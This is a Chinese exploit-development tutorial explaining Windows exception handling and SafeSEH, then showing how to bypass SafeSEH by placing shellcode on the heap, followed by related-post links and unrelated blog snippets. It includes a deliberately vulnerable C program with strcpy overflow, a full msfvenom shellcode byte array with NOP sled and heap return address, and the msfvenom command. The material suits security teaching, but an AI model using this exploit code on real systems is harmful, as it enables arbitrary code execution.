1.1    SafeSEH内存保护机制

1.1.1    Windows异常处理机制

Windows中主要两种异常处理机制,Windows异常处理(VEH、SEH)和C++异常处理。Windows异常处理结构未公开的,包含向量化结构异常VEH及结构化异常处理SEH。由操作系统提供的服务,当一个线程出现错误时,操作系统调用用户定义的一个回调函数_exept_handler。回调函数接收到操作系统传递过来的许多有价值的信息,例如异常的类型和发生的地址。使用这些信息,异常回调函数就能决定下一步做什么。

C++异常处理是C++语言的特性,在Windows平台上由系统提供支持。

Windows异常处理顺序流程

l  终止当前程序的执行

l  调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)

l  执行VEH

l  执行SEH

l  TopLevelEH(进程被调试时不会被执行)

l  执行VEH

l  交给调试器(上面的异常处理都说处理不了,就再次交给调试器)

l  调用异常端口通知csrss.exe

1.1.2    SafeSEH工作原理

异常处理链(SEH)结构在通过SHE链绕过/GS中已经介绍过了,这里接直接说safeSEH了,

i. SafeSEH工作流程:

ii. RtlIsVaildHandler() 函数校验流程:

1.1.3    SafeSEH绕过思路

那么有3种情况,系统可以允许异常处理函数执行:

1、异常处理函数位于加载模块内存范围之外,DEP关闭

2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL(ILonly标识,若有这个标志说明该程序只包含.NET编译人中间语言)。

3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中。

可以看到,我们突破SafeSEH的方法分为3种

1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行

2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行

3、针对情况3,可以有两种思路,一种是清空safeSEH表,造成该模块为启用safeSEH的假象,二是将我们的指令注入到safeSEH表,但是safeSEH在内存中是加密存放的,突破的难度很大。

额外的思路(更简单的思路)?

1、  覆盖返回地址或者虚表(但是,限制条件很大,如果函数启用了/GS保护机制,且没有虚函数,那么,这种方法就不能使用了)。

2、  利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。

1.1.4    从堆中绕过safeSEH

⑴.  原理分析:

利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。

⑵.环境准备:

i.测试代码如下:

#include <stdafx.h>

#include <stdlib.h>

#include <string.h>

char shellcode[]=

"\xbe\xe8\x88\x3c\xfd\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"

"\x30\x31\x72\x13\x03\x72\x13\x83\xea\x14\x6a\xc9\x01\x0c\xe9"

"\x32\xfa\xcc\x8e\xbb\x1f\xfd\x8e\xd8\x54\xad\x3e\xaa\x39\x41"

"\xb4\xfe\xa9\xd2\xb8\xd6\xde\x53\x76\x01\xd0\x64\x2b\x71\x73"

"\xe6\x36\xa6\x53\xd7\xf8\xbb\x92\x10\xe4\x36\xc6\xc9\x62\xe4"

"\xf7\x7e\x3e\x35\x73\xcc\xae\x3d\x60\x84\xd1\x6c\x37\x9f\x8b"

"\xae\xb9\x4c\xa0\xe6\xa1\x91\x8d\xb1\x5a\x61\x79\x40\x8b\xb8"

"\x82\xef\xf2\x75\x71\xf1\x33\xb1\x6a\x84\x4d\xc2\x17\x9f\x89"

"\xb9\xc3\x2a\x0a\x19\x87\x8d\xf6\x98\x44\x4b\x7c\x96\x21\x1f"

"\xda\xba\xb4\xcc\x50\xc6\x3d\xf3\xb6\x4f\x05\xd0\x12\x14\xdd"

"\x79\x02\xf0\xb0\x86\x54\x5b\x6c\x23\x1e\x71\x79\x5e\x7d\x1f"

"\x7c\xec\xfb\x6d\x7e\xee\x03\xc1\x17\xdf\x88\x8e\x60\xe0\x5a"

"\xeb\x9f\xaa\xc7\x5d\x08\x73\x92\xdc\x55\x84\x48\x22\x60\x07"

"\x79\xda\x97\x17\x08\xdf\xdc\x9f\xe0\xad\x4d\x4a\x07\x02\x6d"

"\x5f\x64\xc5\xfd\x03\x6b"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x38\x2C\x56\x00"//address of shellcode in heap

;

void test(char * input)

{

char str[200];

strcpy(str,input);

int zero=0;

zero=1/zero;

}

void main(){

char * buf=(char *)malloc(500);

//__asm int 3

strcpy(buf,shellcode);

test(shellcode);

}

将shellcode复制到堆区,在溢出后,用shellcode在堆区的地址溢出到异常处理函数,在test函数中引发除零异常。异常处理函数接管程序,即,shellcode在此时接管程序。

ii.编译属性设置:

关闭DEP,ASLR保护机制,/GS保护机制没有影响。

iii.测试系统和编译器:

测试系统:Windows 7 32位

编译器:  Visual studio 2008

⑶.调试分析:

在main函数中,堆指针为[ebp-0x4],shellcode的指针为[ebp-0x8],而ebp = 0x0012ff44。

所以堆指针的地址 = 0x0012ff40,shellcode的指针 = 0x0012ff3c。

查看堆栈:

看到shellcode地址 = 0x00403018,堆的起始地址 = 0x005812e8

执行到test函数:

Shellcode参数入栈,0x0012ff2c。

Eip:0x0012ff28,ebp:0x0012ff24,cookie^ebp:0x0012ff1c,并通过对strcpy函数的分析发现,0x0012ff54是缓冲区开始的地址。

⑷.攻击过程:

i.确定shellcode大小:

攻击思路是:将异常处理函数的指针换成在堆中的shellcode的指针,那么要确定shellcode的大小就要知道异常处理函数的指针在栈中的地址和缓冲区开始的地址,从缓冲区开始,已知覆盖到异常处理函数的指针。

查看SEH链:

SEH链指针在0x0012FF78,那么异常处理函数指针位于0x0012ff7c,又由(3)知缓冲区的起始地址是0x0012fe54。

所以缓冲区大小 = 0x0012ff78 – 0x0012fe54 + 0x4(指针大小) = 300(字节)。

ii.生成恶意代码(弹出计算器):

这里的恶意代码可以用msfconsole生成:

msfvenom -p windows/exec cmd=calc -b '\x00' -f c

生成长度为216字节的恶意代码。

iii.设计shellcode:

由i的分析可知,shellcode的结构应如下所示:

iv.实施攻击:

程序运行到test函数中的strcpy函数运行结束,

可以看到异常处理函数的指针已经被换成了我们的分配的堆的起始地址,

分配的堆中也已经复制到了shellcode。

接着运行程序,应该就能直接弹出计算器来吧?

???失败?

为什么?

因为,堆在内存中是动态分配的,每次运行,系统分配的堆地址都是不同的,所以,应当在程序运行到分配堆之后,将shellcode中的堆地址,改成此次运行系统所分配的堆的地址,如下图所示:

之后运行程序:

成功弹框。

内存保护机制及绕过方案——从堆中绕过safeSEH的更多相关文章

  1. 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH

    前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴.  原理分析: 一个不是仅包含中间语言(1L)且 ...

  2. 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

    1    GS内存保护机制 1.1    GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...

  3. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  4. jvm之java类加载机制和类加载器(ClassLoader),方法区结构,堆中实例对象结构的详解

    一.类加载或类初始化:当程序主动使用某个类时,如果该类还未被加载到内存中,则JVM会通过加载.连接.初始化3个步骤来对该类进行初始化.如果没有意外,JVM将会连续完成3个步骤. 二.类加载时机:  1 ...

  5. Linux下的ASLR(PIE)内存保护机制

    1.1    Linux下的ASLR内存保护机制 1.1.1    Linux下的ASLR工作原理 工作原理与window下的aslr类似 1.1.2 Linux下利用内存地址泄露绕过ASLR ⑴.  ...

  6. Android内存机制分析1——了解Android堆和栈

    //----------------------------------------------------------------------------------- Android内存机制分析1 ...

  7. JVM简介堆中新生代老年代浅析

    一.JVM内存结构由程序计数器.堆.栈.本地方法栈.方法区等部分组成.1)程序计数器 几乎不占有内存.用于取下一条执行的指令.2)堆 所有通过new创建的对象的内存都在堆中分配,其大小可以通过-Xmx ...

  8. JVM 堆中对象分配、布局和访问

    本文摘自深入理解 Java 虚拟机第三版 对象的创建 Java 是一门面向对象的语言,Java 程序运行过程中无时无刻都有对象被创建出来.从语言层面看,创建对象只是一个 new 关键字而已,而在虚拟机 ...

  9. /MT、/MD编译选项,以及可能引起在不同堆中申请、释放内存的问题

    一.MD(d).MT(d)编译选项的区别 1.编译选项的位置 以VS2005为例,这样子打开: 1)         打开项目的Property Pages对话框 2)         点击左侧C/C ...

随机推荐

  1. Tomcat WEB站点部署

    上线的代码有两种方式, 第一种方式是直接将程序目录放在webapps目录下面 第二种方式是使用开发工具将程序打包成war包,然后上传到webapps目录下面.下面让我们见识一下这种方式 这个网站里面已 ...

  2. Extracts

    @1:四层和七层负载均衡的区别:所谓四层负载均衡,也就是主要通过报文中的目标地址和端口,再加上负载均衡设备设置的服务器选择方式,决定最终选择的内部服务器.以常见的TCP为例,负载均衡设备在接收到第一个 ...

  3. 【转】Python操作 RabbitMQ、Redis、Memcache、SQLAlchemy

    Memcached Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载.它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态.数据库驱动网站的速度 ...

  4. ThinkPHP框架基础知识三

    一.JS文件与Css文件存放位置 其实JS与Css文件放在任意位置都可以找到,只要路径正确就行. 在TP框架中我们访问的所有文件都要走入口文件index.php,相当于访问的是index.php页面. ...

  5. 【Java Web】把逻辑名映射到servlet文件

    Ⅰ.请求URL Ⅱ.容器搜索DD,查找servlet-mapping <?xml version="1.0" encoding="ISO-8859-1" ...

  6. MySQL-5.7 DELETE语句详解

    1.语法 (1)单表 DELETE [LOW_PRIORITY] [QUICK] [IGNORE] FROM tbl_name [PARTITION (partition_name [, partit ...

  7. 较常用的Math方法及ES6中的扩展

    记录下与Math有关的常用方法,如:求最大值.最小值等,或者是保留几位数啥的 1.数据 let floatA = 2.325232; let floatB = 2.3456; let temporar ...

  8. iOS日常学习 - iOS10上关于NSPhotoLibraryUsageDescription等问题

    最近升级了Xcode8.0,真是很多坑啊,填完一个来另外一个,今天又遇到了一个,用Xcode8.0上传项目时被驳回说是info.plist里面没有设置NSPhotoLibraryUsageDescri ...

  9. jvm-知识点总结

    参考: https://blog.csdn.net/wuqinghai2012/article/details/51485414 http://pengjiaheng.iteye.com/blog/5 ...

  10. Java 正则表达式 Pattern & Matcher

    通常会有这种需求: 在文档中搜索有规律的字符串,然后进行统计或者替换.Java.util.regex包下的Pattern和Matcher这两个类提供了通过正则表达式来匹配查询,甚至替换的功能.那么我们 ...